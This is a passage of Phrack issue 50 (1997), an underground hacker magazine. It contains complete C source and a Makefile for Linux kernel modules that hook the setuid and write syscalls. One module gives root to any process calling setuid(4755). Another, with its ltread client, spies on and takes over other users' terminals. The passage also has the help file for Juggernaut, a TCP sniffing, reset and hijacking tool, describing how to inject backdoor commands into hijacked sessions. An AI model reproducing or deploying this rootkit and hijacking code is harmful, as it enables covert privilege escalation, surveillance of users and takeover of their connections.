  2259.     before that ever happened...
  2260.  
  2261.     Reading - One of the things I value the most are my books.  I really enjoy
  2262.     reading.  Sadly, lately, all I read are technical books.  I need to
  2263.     start reading other stuff again.
  2264.  
  2265.     AI - When I started fooling around with computers I wanted to go into AI,
  2266.     but the lack of material at my disposition at the time kept me from
  2267.     delving into it too much.
  2268.  
  2269.     Most memorable experiences:
  2270.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2271.  
  2272.     Death - It marks your life for ever.
  2273.  
  2274.     Burning Man '95 - One of the most intense experiences of my life.
  2275.     Nothing can compare to the creation and expression of this community 
  2276.     that grows and dies in one of the most inhospitable, yet more 
  2277.     beautiful, places on earth.
  2278.  
  2279.     Some people to mention:
  2280.     ~~~~~~~~~~~~~~~~~~~~~~~   
  2281.  
  2282.     Annaliza (for all the rides from work, all the adventures, always being 
  2283.               there, and the hot cocoa)
  2284.  
  2285.     Luis (for all the good times, the bad times, and begin one fucking
  2286.           crazy Spanish cosaco)
  2287.  
  2288.     Mr. Upsetter, Buckaroo Banzai, Dan, Rod & Rika, Sir Dystic, Freqout, 
  2289.     White Knight & Loren (for being good friends)
  2290.  
  2291.     Intrepid Traveller (for giving me the number to Lunatic Labs)
  2292.  
  2293.     Noid, Pappy, Phax, Elvis Smurf, Ming of Mongo, TRW, Clockwork, and the 
  2294.     rest of the old LA 2600 crew (for being themselves)
  2295.  
  2296.     Veggie (for being larger than life)
  2297.  
  2298.     Mycroft (who would have thought?)
  2299.  
  2300.     r00t (for being elite)
  2301.  
  2302.     A few things you would like to say:
  2303.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2304.  
  2305.     Knowledge come from within.
  2306.  
  2307.    The New Security Threat: Disinformation
  2308.  
  2309.    Statistics show that network break-ins are on the rise.  Entities
  2310. connecting to the Net expect to be broken into.  They know it's only
  2311. a matter of time before some random hacker targets their machines using
  2312. the latest warez to bypass their firewall and break into their machine.
  2313. They have seen it happen over and over.  The CIA, DOJ, NASA, MGM/UA, etc.
  2314.  
  2315.    The modus operandi is always the same: Deface the web page, or trash the
  2316. machines.  For this occurrence they have prepared.  Backups are in place, and
  2317. ready to be used.  Hacked web pages hardly stay up more than half and hour
  2318. before they are taken down.  What ever message the hackers wanted to deliver
  2319. was probably only seen by a handful of people.  There no longer is any
  2320. incentive to hack a web site that no one will see.
  2321.  
  2322.    So what is next?  Disinformation.
  2323.  
  2324.    The Internet as a medium facilitates the free flow of information.  Single
  2325. individuals can reach large, as yet before unreachable audiences. Information 
  2326. that before would have been relegated to some obscure corner, now travels at
  2327. the speed of light and is disseminated all over the world.  Everyday the Net
  2328. is becoming a more important source of leads and information for the standard
  2329. news media.  It usually only takes a few hours before some information such
  2330. as a new product, or some new bug, published on the Net appears on TV or
  2331. some newspaper's web site.  And as more companies publish information online
  2332. our dependence on the Net as a source of information will only increase.
  2333.  
  2334.    But the medium does not attempt to validate or even authenticate this
  2335. information in most cases.  A anonymous tip on some newsgroup or web site
  2336. can cause a company a lot of headaches.  Even the worst are half-truths. 
  2337. Just look at the damage control that corporations such as Microsoft and Intel
  2338. had to do in the past.  But this is only the beginning.
  2339.  
  2340.    What if that motivated hacker decides that instead of replacing the
  2341. company's web site with some obscene language and graphics that will be
  2342. taken down almost immediately we will add a small officially worded press
  2343. release to the web site.  How long until someone notices?  How long until
  2344. they realize it's a fake.  Maybe we should also email the press release to
  2345. some media contacts.  What are the chances that it will be catch before it
  2346. makes it into the news?  Or that it will catch before it's discussed on some
  2347. newsgroup with a large audience?
  2348.  
  2349.    The amount of damage control a well placed piece of information coming
  2350. from a seemingly reputable source is incredible.  This, I believe, is where
  2351. future attacks lay.
  2352.  
  2353. EOF
  2354.                                 .oO Phrack 50 Oo.
  2355.  
  2356.                             Volume Seven, Issue Fifty
  2357.  
  2358.                                      5 of 16
  2359.  
  2360.                    ============================================
  2361.                    Abuse of the Linux Kernel for Fun and Profit
  2362.                               halflife@infonexus.com 
  2363.                    [guild  corporation]
  2364.                    ============================================
  2365.  
  2366. Introduction
  2367. ------------
  2368.    Loadable modules are a very useful feature in linux, as they let
  2369. you load device drivers on a as-needed basis.  However, there is
  2370. a bad side: they make kernel hacking almost TOO easy.  What happens
  2371. when you can no longer trust your own kernel...?  This article describes
  2372. a simple way kernel modules can be easily abused. 
  2373.  
  2374. System calls
  2375. ------------
  2376.    System calls. These are the lowest level of functions available, and
  2377. are implemented within the kernel. In this article, we will discuss how
  2378. they can be abused to let us write a very simplistic tty hijacker/monitor.
  2379. All code was written and designed for linux machines, and will not compile
  2380. on anything else, since we are mucking with the kernel.
  2381.  
  2382.     TTY Hijackers, such as tap and ttywatcher are common on Solaris,
  2383. SunOS, and other systems with STREAMS, but Linux thus far has not had
  2384. a useful tty hijacker (note: I don't consider pty based code such as
  2385. telnetsnoop to be a hijacker, nor very useful since you must make
  2386. preparations ahead of time to monitor users).
  2387.  
  2388.    Since linux currently lacks STREAMS (LinSTREAMS appears to be dead),
  2389. we must come up with a alternative way to monitor the stream.  Stuffing
  2390. keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff
  2391. keystrokes into the input stream.  The solution, of course, is to redirect
  2392. the write(2) system call to our own code which logs the contents of the
  2393. write if it is directed at our tty;  we can then call the real write(2)
  2394. system call.
  2395.  
  2396.    Clearly, a device driver is going to be the best way to do things.  We
  2397. can read from the device to get the data that has been logged, and add
  2398. a ioctl or two in order to tell our code exactly what tty we want to log.
  2399.  
  2400.  
  2401. Redirection of system calls
  2402. ---------------------------
  2403.    System calls are pretty easy to redirect to our own code.  It works in
  2404. principle like DOS terminate and stay resident code.  We save the old
  2405. address in a variable, then set a new one pointing to our code.  In our
  2406. code, we do our thing, and then call the original code when finished.
  2407.  
  2408.    A very simple example of this is contained in hacked_setuid.c, which
  2409. is a simple loadable module that you can insmod, and once it is inserted
  2410. into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0.
  2411. (See the appended file for all the code.)  The addresses for the
  2412. syscalls are contained in the sys_call_table array.  It is relatively easy
  2413. to redirect syscalls to point to our code.  Once we have done this, many
  2414. things are possible...
  2415.  
  2416. Linspy notes
  2417. ------------
  2418.    This module is VERY easy to spot, all you have to do is cat /proc/modules 
  2419. and it shows up as plain as day.  Things can be done to fix this, but I
  2420. have no intention on doing them.
  2421.  
  2422.    To use linspy, you need to create an ltap device, the major should
  2423. be 40 and the minor should be 0.  After you do that, run make and then
  2424. insmod the linspy device.  Once it is inserted, you can run ltread [tty]
  2425. and if all goes well, you should see stuff that is output to the user's
  2426. screen.  If all does not go well ... well, I shall leave that to your
  2427. nightmares.
  2428.  
  2429. The Code [use the included extract.c utility to unarchive the code]
  2430. ---------------------------------------------------------------------
  2431.  
  2432.  
  2433. <++> linspy/Makefile
  2434. CONFIG_KERNELD=-DCONFIG_KERNELD
  2435. CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
  2436. CC=gcc
  2437. # this is the name of the device you have (or will) made with mknod
  2438. DN = '-DDEVICE_NAME="/dev/ltap"'
  2439. # 1.2.x need this to compile, comment out on 1.3+ kernels
  2440. V = #-DNEED_VERSION
  2441. MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
  2442.  
  2443. all:        linspy ltread setuid
  2444.  
  2445. linspy:        linspy.c /usr/include/linux/version.h
  2446.         $(CC) $(MODCFLAGS) -c linspy.c
  2447.  
  2448. ltread:        
  2449.         $(CC) $(DN) -o ltread ltread.c
  2450.  
  2451. clean:        
  2452.         rm *.o ltread
  2453.  
  2454. setuid:        hacked_setuid.c /usr/include/linux/version.h
  2455.         $(CC) $(MODCFLAGS) -c hacked_setuid.c
  2456.                                                      
  2457. <--> end Makefile
  2458. <++> linspy/hacked_setuid.c
  2459. int errno;
  2460. #include <linux/sched.h>
  2461. #include <linux/mm.h>
  2462. #include <linux/malloc.h>
  2463. #include <linux/errno.h>
  2464. #include <linux/sched.h>
  2465. #include <linux/kernel.h>
  2466. #include <linux/times.h>
  2467. #include <linux/utsname.h>
  2468. #include <linux/param.h>
  2469. #include <linux/resource.h>
  2470. #include <linux/signal.h>
  2471. #include <linux/string.h>
  2472. #include <linux/ptrace.h>
  2473. #include <linux/stat.h>
  2474. #include <linux/mman.h>
  2475. #include <linux/mm.h>
  2476. #include <asm/segment.h>
  2477. #include <asm/io.h>
  2478. #include <linux/module.h>
  2479. #include <linux/version.h>
  2480. #include <errno.h>
  2481. #include <linux/unistd.h>
  2482. #include <string.h>
  2483. #include <asm/string.h>
  2484. #include <sys/syscall.h>
  2485. #include <sys/types.h>
  2486. #include <sys/sysmacros.h>
  2487. #ifdef NEED_VERSION
  2488. static char kernel_version[] = UTS_RELEASE;
  2489. #endif
  2490. static inline _syscall1(int, setuid, uid_t, uid);
  2491. extern void *sys_call_table[];
  2492. void *original_setuid;
  2493. extern int hacked_setuid(uid_t uid)
  2494. {
  2495.    int i;                     
  2496.    if(uid == 4755)
  2497.    {
  2498.       current->uid = current->euid = current->gid = current->egid = 0;
  2499.       return 0;
  2500.    }
  2501.    sys_call_table[SYS_setuid] = original_setuid;
  2502.    i = setuid(uid);
  2503.    sys_call_table[SYS_setuid] = hacked_setuid;
  2504.    if(i == -1) return -errno;
  2505.    else return i;
  2506. }
  2507. int init_module(void)
  2508. {
  2509.    original_setuid = sys_call_table[SYS_setuid];
  2510.    sys_call_table[SYS_setuid] = hacked_setuid;
  2511.    return 0;
  2512. }
  2513. void cleanup_module(void)
  2514. {
  2515.    sys_call_table[SYS_setuid] = original_setuid;
  2516. }  
  2517. <++> linspy/linspy.c
  2518. int errno;
  2519. #include <linux/tty.h>
  2520. #include <linux/sched.h>
  2521. #include <linux/mm.h>
  2522. #include <linux/malloc.h>
  2523. #include <linux/errno.h>
  2524. #include <linux/sched.h>
  2525. #include <linux/kernel.h>
  2526. #include <linux/times.h>
  2527. #include <linux/utsname.h>
  2528. #include <linux/param.h>
  2529. #include <linux/resource.h>
  2530. #include <linux/signal.h>
  2531. #include <linux/string.h>
  2532. #include <linux/ptrace.h>
  2533. #include <linux/stat.h>
  2534. #include <linux/mman.h>
  2535. #include <linux/mm.h>
  2536. #include <asm/segment.h>
  2537. #include <asm/io.h>
  2538. #ifdef MODULE
  2539. #include <linux/module.h>       
  2540. #include <linux/version.h>
  2541. #endif
  2542. #include <errno.h>
  2543. #include <asm/segment.h>
  2544. #include <linux/unistd.h>
  2545. #include <string.h>
  2546. #include <asm/string.h>
  2547. #include <sys/syscall.h>
  2548. #include <sys/types.h>
  2549. #include <sys/sysmacros.h>
  2550. #include <linux/vt.h>
  2551.  
  2552. /* set the version information, if needed */
  2553. #ifdef NEED_VERSION
  2554. static char kernel_version[] = UTS_RELEASE;
  2555. #endif
  2556.  
  2557. #ifndef MIN
  2558. #define MIN(a,b)        ((a) < (b) ? (a) : (b))
  2559. #endif
  2560.  
  2561. /* ring buffer info */        
  2562.  
  2563. #define BUFFERSZ        2048
  2564. char buffer[BUFFERSZ];
  2565. int queue_head = 0;
  2566. int queue_tail = 0;
  2567.  
  2568. /* taken_over indicates if the victim can see any output */
  2569. int taken_over = 0;
  2570.  
  2571. static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
  2572. extern void *sys_call_table[];
  2573.  
  2574. /* device info for the linspy device, and the device we are watching */
  2575. static int linspy_major = 40;
  2576. int tty_minor = -1;
  2577. int tty_major = 4;
  2578.  
  2579. /* address of original write(2) syscall */
  2580. void *original_write;
  2581.  
  2582. void save_write(char *, size_t);
  2583.  
  2584.  
  2585. int out_queue(void) 
  2586. {
  2587.    int c;
  2588.    if(queue_head == queue_tail) return -1;
  2589.    c = buffer[queue_head];
  2590.    queue_head++;
  2591.    if(queue_head == BUFFERSZ) queue_head=0;
  2592.    return c;
  2593. }
  2594.  
  2595. int in_queue(int ch)
  2596. {
  2597.    if((queue_tail + 1) == queue_head) return 0;
  2598.    buffer[queue_tail] = ch;
  2599.    queue_tail++;
  2600.    if(queue_tail == BUFFERSZ) queue_tail=0;
  2601.    return 1;
  2602. }
  2603.  
  2604.  
  2605. /* check if it is the tty we are looking for */
  2606. int is_fd_tty(int fd)
  2607. {
  2608.    struct file *f=NULL;
  2609.    struct inode *inode=NULL;
  2610.    int mymajor=0;
  2611.    int myminor=0;
  2612.  
  2613.    if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  2614.       return 0;
  2615.    mymajor = major(inode->i_rdev);
  2616.    myminor = minor(inode->i_rdev);
  2617.    if(mymajor != tty_major) return 0;
  2618.    if(myminor != tty_minor) return 0;
  2619.    return 1;
  2620. }
  2621.  
  2622. /* this is the new write(2) replacement call */
  2623. extern int new_write(int fd, char *buf, size_t count)
  2624. {
  2625.    int r;
  2626.    if(is_fd_tty(fd))
  2627.    {
  2628.       if(count > 0)
  2629.          save_write(buf, count);
  2630.       if(taken_over) return count;
  2631.    }
  2632.    sys_call_table[SYS_write] = original_write;
  2633.    r = write(fd, buf, count); 
  2634.    sys_call_table[SYS_write] = new_write;
  2635.    if(r == -1) return -errno;
  2636.    else return r;
  2637. }
  2638.  
  2639.  
  2640. /* save data from the write(2) call into the buffer */
  2641. void save_write(char *buf, size_t count)
  2642. {
  2643.    int i;
  2644.    for(i=0;i < count;i++)
  2645.       in_queue(get_fs_byte(buf+i));
  2646. }
  2647.  
  2648. /* read from the ltap device - return data from queue */
  2649. static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
  2650. {
  2651.    int i;
  2652.    int c;
  2653.    int cnt=0;
  2654.    if(current->euid != 0) return 0;
  2655.    for(i=0;i < count;i++)
  2656.    {
  2657.       c = out_queue();
  2658.       if(c < 0) break;
  2659.       cnt++;
  2660.       put_fs_byte(c, buf+i);
  2661.    }
  2662.    return cnt;
  2663. }
  2664.  
  2665. /* open the ltap device */
  2666. static int linspy_open(struct inode *in, struct file *fi)
  2667. {
  2668.    if(current->euid != 0) return -EIO;
  2669.    MOD_INC_USE_COUNT;
  2670.    return 0;
  2671. }
  2672.  
  2673. /* close the ltap device */
  2674. static void linspy_close(struct inode *in, struct file *fi)
  2675. {
  2676.    taken_over=0;
  2677.    tty_minor = -1;
  2678.    MOD_DEC_USE_COUNT;
  2679. }
  2680.              
  2681. /* some ioctl operations */
  2682. static int
  2683. linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
  2684. {
  2685. #define LS_SETMAJOR     0
  2686. #define LS_SETMINOR     1
  2687. #define LS_FLUSHBUF     2
  2688. #define LS_TOGGLE       3
  2689.  
  2690.    if(current->euid != 0) return -EIO;
  2691.    switch(cmd)
  2692.    {
  2693.       case LS_SETMAJOR:
  2694.          tty_major = args;
  2695.          queue_head = 0;
  2696.          queue_tail = 0;
  2697.          break;
  2698.       case LS_SETMINOR:
  2699.          tty_minor = args;
  2700.          queue_head = 0;
  2701.          queue_tail = 0;
  2702.          break;
  2703.      case LS_FLUSHBUF:
  2704.          queue_head=0;
  2705.          queue_tail=0;
  2706.          break;
  2707.      case LS_TOGGLE:
  2708.          if(taken_over) taken_over=0;
  2709.          else taken_over=1;
  2710.          break;
  2711.       default:
  2712.          return 1;
  2713.    }
  2714.    return 0;
  2715. }
  2716.  
  2717.  
  2718. static struct file_operations linspy = {
  2719. NULL,
  2720. linspy_read,
  2721. NULL,
  2722. NULL,
  2723. NULL,
  2724. linspy_ioctl,
  2725. NULL, 
  2726. linspy_open,
  2727. linspy_close,
  2728. NULL
  2729. };
  2730.  
  2731.  
  2732. /* init the loadable module */
  2733. int init_module(void)
  2734. {
  2735.    original_write = sys_call_table[SYS_write];
  2736.    sys_call_table[SYS_write] = new_write;
  2737.    if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
  2738.    return 0;
  2739. }
  2740.  
  2741. /* cleanup module before being removed */
  2742. void cleanup_module(void)
  2743. {
  2744.    sys_call_table[SYS_write] = original_write;
  2745.    unregister_chrdev(linspy_major, "linspy");
  2746. }
  2747. <--> end linspy.c
  2748. <++> linspy/ltread.c
  2749. #include <stdio.h>
  2750. #include <stdlib.h>
  2751. #include <unistd.h>
  2752. #include <termios.h>
  2753. #include <string.h>
  2754. #include <fcntl.h>
  2755. #include <signal.h>
  2756. #include <sys/types.h>
  2757. #include <sys/stat.h>
  2758. #include <sys/sysmacros.h>
  2759.  
  2760. struct termios save_termios;
  2761. int ttysavefd = -1;
  2762. int fd;
  2763.  
  2764. #ifndef DEVICE_NAME
  2765. #define DEVICE_NAME "/dev/ltap"
  2766. #endif
  2767.  
  2768. #define LS_SETMAJOR     0
  2769. #define LS_SETMINOR     1
  2770.  
  2771. #define LS_FLUSHBUF     2
  2772. #define LS_TOGGLE       3
  2773.  
  2774. void stuff_keystroke(int fd, char key)
  2775. {
  2776.    ioctl(fd, TIOCSTI, &key);
  2777. }
  2778.  
  2779. int tty_cbreak(int fd)
  2780. {
  2781.    struct termios buff;
  2782.    if(tcgetattr(fd, &save_termios) < 0)
  2783.       return -1;
  2784.    buff = save_termios;
  2785.    buff.c_lflag &= ~(ECHO | ICANON);
  2786.    buff.c_cc[VMIN] = 0;
  2787.    buff.c_cc[VTIME] = 0;
  2788.    if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
  2789.       return -1;
  2790.    ttysavefd = fd;
  2791.    return 0;
  2792. }
  2793.  
  2794.  char *get_device(char *basedevice)
  2795. {
  2796.    static char devname[1024];
  2797.    int fd;
  2798.  
  2799.    if(strlen(basedevice) > 128) return NULL;
  2800.    if(basedevice[0] == '/')
  2801.       strcpy(devname, basedevice);
  2802.    else
  2803.       sprintf(devname, "/dev/%s", basedevice);
  2804.    fd = open(devname, O_RDONLY);
  2805.    if(fd < 0) return NULL;
  2806.    if(!isatty(fd)) return NULL;
  2807.    close(fd);
  2808.    return devname;
  2809. }
  2810.  
  2811.  
  2812. int do_ioctl(char *device)
  2813. {
  2814.    struct stat mystat;
  2815.  
  2816.    if(stat(device, &mystat) < 0) return -1;
  2817.     fd = open(DEVICE_NAME, O_RDONLY);
  2818.    if(fd < 0) return -1;
  2819.    if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
  2820.    if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
  2821. }
  2822.  
  2823.  
  2824. void sigint_handler(int s)
  2825. {
  2826.    exit(s);
  2827. }
  2828.  
  2829. void cleanup_atexit(void)
  2830. {
  2831.    puts(" ");
  2832.    if(ttysavefd >= 0)
  2833.       tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
  2834. }
  2835.  
  2836. main(int argc, char **argv)
  2837. {
  2838.    int my_tty;
  2839.    char *devname;
  2840.     unsigned char ch;
  2841.    int i;
  2842.  
  2843.    if(argc != 2)
  2844.    {
  2845.       fprintf(stderr, "%s ttyname\n", argv[0]);
  2846.       fprintf(stderr, "ttyname should NOT be your current tty!\n");
  2847.       exit(0);
  2848.    }
  2849.    devname = get_device(argv[1]);
  2850.    if(devname == NULL)
  2851.    {
  2852.       perror("get_device");
  2853.       exit(0);
  2854.    }
  2855.    if(tty_cbreak(0) < 0)
  2856.    {
  2857.       perror("tty_cbreak");
  2858.       exit(0);
  2859.    }
  2860.    atexit(cleanup_atexit);
  2861.    signal(SIGINT, sigint_handler);
  2862.    if(do_ioctl(devname) < 0)
  2863.    {
  2864.       perror("do_ioctl");
  2865.       exit(0);
  2866.    }
  2867.    my_tty = open(devname, O_RDWR);
  2868.    if(my_tty == -1) exit(0);
  2869.    setvbuf(stdout, NULL, _IONBF, 0);
  2870.    printf("[now monitoring session]\n");
  2871.    while(1)
  2872.    {
  2873.       i = read(0, &ch, 1);
  2874.       if(i > 0)
  2875.       {
  2876.          if(ch == 24)
  2877.          {
  2878.             ioctl(fd, LS_TOGGLE, 0);
  2879.             printf("[Takeover mode toggled]\n");
  2880.          }
  2881.          else stuff_keystroke(my_tty, ch);
  2882.       }
  2883.       i = read(fd, &ch, 1);
  2884.       if(i > 0)
  2885.          putchar(ch);
  2886.     }
  2887. }
  2888. <--> end ltread.c
  2889.  
  2890.  
  2891. EOF
  2892.                                 .oO Phrack 50 Oo.
  2893.  
  2894.                             Volume Seven, Issue Fifty
  2895.  
  2896.                                      6 of 16
  2897.  
  2898.                                J U G G E R N A U T 
  2899.  
  2900.                                   route|daemon9
  2901.  
  2902.                       a guild corporation production 1996/7
  2903.  
  2904.  
  2905.     Please use the included extract.c utility to extract the files and then
  2906.     read the Install file.  Any problems/comments mail me route@infonexus.com.
  2907.  
  2908.     A boot image is forthcoming that will allow a user to simply pop a disk
  2909.     into most any networked PC and turn it into a Juggernaut workstation.
  2910.  
  2911. <++> Juggernaut/ClothLikeGauze/.help
  2912.  
  2913.                             Juggernaut 1.0 Help File
  2914.  
  2915. |--------
  2916. |Overview
  2917. |--------
  2918.  
  2919. Juggernaut is a robust network tool for the Linux OS.  It contains several
  2920. modules offering a wide degree of functionality.  Juggernaut has been tested 
  2921. successfully on several different Linux machines on several different networks. 
  2922. However, your mileage may vary depending on the network topologies of the
  2923. environment (ie: Smart hubbing will kill much of the packet sniffing 
  2924. functionality...) and, to a lesser extent, the machine running Juggernaut.
  2925. If something doesn't work, use a network debugger and figure out why...  
  2926.  
  2927. Juggernaut v1.0 was originally published in Phrack Magazine, issue 50; on
  2928. April 9, 1997.
  2929.  
  2930.            Any serious problems/bugs or comments, please mail me: 
  2931.         
  2932.                            route@infonexus.com
  2933.  
  2934.  
  2935. |---------------------
  2936. |Command Line Options
  2937. |---------------------
  2938.  
  2939.     juggernaut -h       
  2940.  
  2941.                         Quick help.
  2942.  
  2943.     juggernaut -H       
  2944.  
  2945.                         Dumps this help file.
  2946.  
  2947.     juggernaut -v 
  2948.  
  2949.                         By default, Juggernaut conveys error messages and other
  2950.                         diagnostic information to the user.  Specifying this 
  2951.                         option will cause Juggernaut to shut the hell up.
  2952.  
  2953.                         Not recommended unless you know what you are doing.
  2954.  
  2955.     juggernaut -t xx            [ juggernaut -t 5 ]   
  2956.         
  2957.                         This option specifies the network read timeout (which 
  2958.                         defaults to 10 seconds).  This value reflects how long
  2959.                         Juggernaut will wait for network traffic before giving
  2960.                         up.  In this case, it will wait 5 seconds.
  2961.  
  2962.     juggernaut -s TOKEN         [ juggernaut -s login ]
  2963.  
  2964.                         Dedicated sniffing mode.  Juggernaut will drop to the
  2965.                         background and examine all TCP packets looking for
  2966.                         TOKEN.  When TOKEN is located, it then isolates that 
  2967.                         TCP circuit and captures the next 16 (the default
  2968.                         enticement factor) packets and logs them to a file. It
  2969.                         then resets and continues sifting through TCP traffic 
  2970.                         looking for TOKEN.
  2971.  
  2972.     juggernaut -s TOKEN -e xx   [ juggernaut -s daemon9 -e 1000 ]
  2973.  
  2974.                         By specifying a larger enticement factor, you can
  2975.                         capture more packets from a session.  This time, after
  2976.                         locating TOKEN, Juggernaut will capture 1000 packets 
  2977.                         before reseting.
  2978.  
  2979.     juggernaut
  2980.                         This starts the program in standard mode.
  2981.      
  2982. |-------------
  2983. |Menu Options
  2984. |-------------
  2985.  
  2986. This is normal mode of operation for Juggernaut.  This is where the magic 
  2987. happens, this is where the fun is. The program will examine all network
  2988. traffic and add suitable TCP connections to the connection database (which
  2989. is viewed with option 1).  After at least one connection is in the database, 
  2990. you can start mucking around with it (connection construction and destruction 
  2991. are indicated by the appearance of the "+" or the "-" at the console). Note 
  2992. that connections involving a local interface may not show up (unless the
  2993. localhost is dual-homed).
  2994.  
  2995. One possible shortcoming of the program is the fact that it stores very
  2996. little state information about connections in the database.  Juggernaut
  2997. collects whatever information it needs (and doesn't have) on the fly.  As 
  2998. such, a quiet connection (no traffic) will elude hijacking and reseting.  The 
  2999. benefit of this is the fact that the program does not have to tie itself up 
  3000. updating the shared memory segment with state every time a packet flies by.
  3001.  
  3002.  
  3003.     ?) Help
  3004.                         This file.
  3005.  
  3006.     0) Program information
  3007.  
  3008.                         Dumps some stuff...
  3009.  
  3010.     1) Connection database
  3011.     
  3012.                         Dumps the current connection list and percent to 
  3013.                         capacity.  Gives the option to wipe the database.
  3014.  
  3015.     2) Spy on a connection
  3016.  
  3017.                         Allows a user to spy on any connection in the database,
  3018.                         with the option of logging the entire session to a
  3019.                         file.
  3020.  
  3021.     3) Reset a connection
  3022.  
  3023.                         Allows the user to destroy any existing connection in 
  3024.                         the database.
  3025.  
  3026.     4) Automated connection reset daemon
  3027.  
  3028.                         Allows the user to setup an automated TCP RST daemon 
  3029.                         that will listen for connection request attempts
  3030.                         from a specified source host (and optionally a 
  3031.                         destination host) and then reset them before they
  3032.                         have a chance to complete.  Requires a source IP
  3033.                         address and optionally a destination address.  
  3034.                         This module prints a "*" to the console when a
  3035.                         connection request attempt is attempted and denied...
  3036.                         
  3037.     5) Simplex connection hijack
  3038.  
  3039.                         Allows the user to insert a command into a telnet
  3040.                         based TCP stream.  A short ACK storm ensues until the 
  3041.                         connection is subsequently reset.
  3042.  
  3043.     6) Interactive connection hijack
  3044.  
  3045.                         Allows the user to take over a session from a 
  3046.                         legitimate client.  This desynchs the client from the 
  3047.                         server as the user takes over.  The resulting ACK 
  3048.                         storm can be catastrophic and makes this interactive 
  3049.                         session prone to failure.  If both of the target hosts 
  3050.                         are on an ethernet, expect a momunmental ACK storm.
  3051.  
  3052.     7) Packet assembly module
  3053.  
  3054.                         The Prometheus module.  Construction of TCP, UDP, ICMP, 
  3055.                         and IP packets.  The user has complete control over 
  3056.                         most of the header fields and can opt for generating a
  3057.                         pseudo-random value.  This module is far from done and
  3058.                         needs some serious work.
  3059.     
  3060.     8) Souper sekret option number eight
  3061.  
  3062.                         Sshh.
  3063.  
  3064.     9) Step down
  3065.                         Quitter.
  3066.  
  3067.  
  3068. |-------------
  3069. |Suggested Use
  3070. |-------------
  3071.  
  3072.     scenario 1: The passive observer
  3073.                 menu options 1,2
  3074.  
  3075.                         The user is curious.  She simply waits for
  3076.                         connections to arrive and then passively observes
  3077.                         them.  Several invocations of Juggernaut may be
  3078.                         started, each spying on a different connection.
  3079.                         The user does not modify the flow of data or control.
  3080.  
  3081.     scenario 2: The malicious observer
  3082.                 menu options 1,2,3
  3083.  
  3084.                         Same scenario as above, except the user alters the
  3085.                         flow of control and opts to destroy connections
  3086.                         at some point.
  3087.  
  3088.     scenario 3: The active observer
  3089.                 menu options 1,2,3,5,(6)
  3090.  
  3091.                         Same as the previous situations, however the user
  3092.                         inserts data into the stream before destroying it.
  3093.     scenario 4: The imp
  3094.                 menu options 1,2,3,4
  3095.  
  3096.                         The user is an impish devil and simply wants to
  3097.                         cause trouble by setting up multiple ACRST daemons.
  3098.  
  3099.     scenario 5: The active observer with poisonous reverse
  3100.                 menu options 1,2,4,5
  3101.  
  3102.                         The user waits until a client establishes a connection
  3103.                         with a targeted server and then sets up the ACRST 
  3104.                         daemon to destroy all further connection-request
  3105.                         attempts from the client.  The user then spys on the 
  3106.                         connection, waiting for an opportune time to inject 
  3107.                         a hijack packet into the stream containing a 
  3108.                         backdooring command/pipeline.  The client will then
  3109.                         have her connection RST (after a brief ACK storm).
  3110.                         If the client attempts to re-establish the connection
  3111.                         with the server, she will be denied and likely think
  3112.                         it is a transient network error.  The user can then
  3113.                         login into the server using the backdoor without fear
  3114.                         of the client logging back in.
  3115.  
  3116.  
  3117.       
  3118. Juggernaut is a Guild Corporation production, (c) 1996/7.
  3119.  
  3120.     [corporate persuasion through Internet terrorism]
  3121.                                                            
  3122. EOF
  3123. <-->
  3124. <++> Juggernaut/ClothLikeGauze/MANIFEST
  3125.  
  3126.        File Manifest for Juggernaut 1.0
  3127.      ----------------------------
  3128.       1996/7 daemon9[guild|phrack|r00t]
  3129.      ----------------------------
  3130. ClothLikeGauze/     Docs
  3131.     .help           Helpfile
  3132.     copyright        The legal tie that binds.
  3133.     Install         Installation instructions
  3134.     MANIFEST        This file
  3135. Makefile        makefile
  3136. NumberOneCrush/        Sources                
  3137.     main.c        main logic
  3138.     mem.c        shared memory/semaphore functions
  3139.     menu.c        menu functions
  3140.     prometheus.c    packet assembly workshop module
  3141.     net.c        socket/network functions
  3142.     surplus.c       dumping ground
  3143.  
  3144.  
  3145.     Version history
  3146.     ---------------
  3147.  
  3148. version a1:
  3149. -----------
  3150. 11.30.96:   Decided to start.  Juggernaut framework and queue stuff.  Used 
  3151.             linked list queue originally to store connections.
  3152. 12.01.96:   Sniffing/spying/logging/RST stuff.
  3153. 12.02-04:   Not sure what I did here.  I think I had a large turkey samich.
  3154. 12.05.96:   Redid memory abstract data type.  Multithreaded.  Implemented 
  3155.             shared memory segment and semaphore for access control.
  3156.             Dumped ALL the dynamic memory allocation code.
  3157. 12.06.96:   Added packet assembly workshop hooks.  Added curses.  Removed 
  3158.             curses.
  3159. 12.07.96:   No coding today.
  3160. 12.08.96:   Non-interactive hijacking completed.  I think we're ready for 
  3161.             beta now.
  3162.  
  3163. version b1:
  3164. -----------
  3165. 12.09.96:   IP_HDRINCL crap added.
  3166. 12.15-18:   I was in NYC for the r00tparty.  No coding then.
  3167. 12.19.96:   Added automated RST stuff.
  3168. 12.20-27:   No coding.
  3169. 12.28.96:   Started work on interactive hijacking.  Damned ACK storms.
  3170. 12.30.96:   Started packet assembly module for reals.
  3171.  
  3172. version b2:
  3173. -----------
  3174. 01.25.97:   Added network timeout logic.
  3175. 01.26.97-
  3176. 04.01.97:   How can you possibly expect me to account for all that time?  
  3177.             I went to Germany with alhambra for a networking summit and 
  3178.             all over the US for other work, I was even in a Discovery 
  3179.             special on IW...
  3180.  
  3181. version 1.0:
  3182. ------------
  3183. 04.02.97:   Here it is.                
  3184. <-->
  3185. <++> Juggernaut/ClothLikeGauze/ToDo
  3186.  
  3187. Juggernaut ToDo list
  3188. --------------------
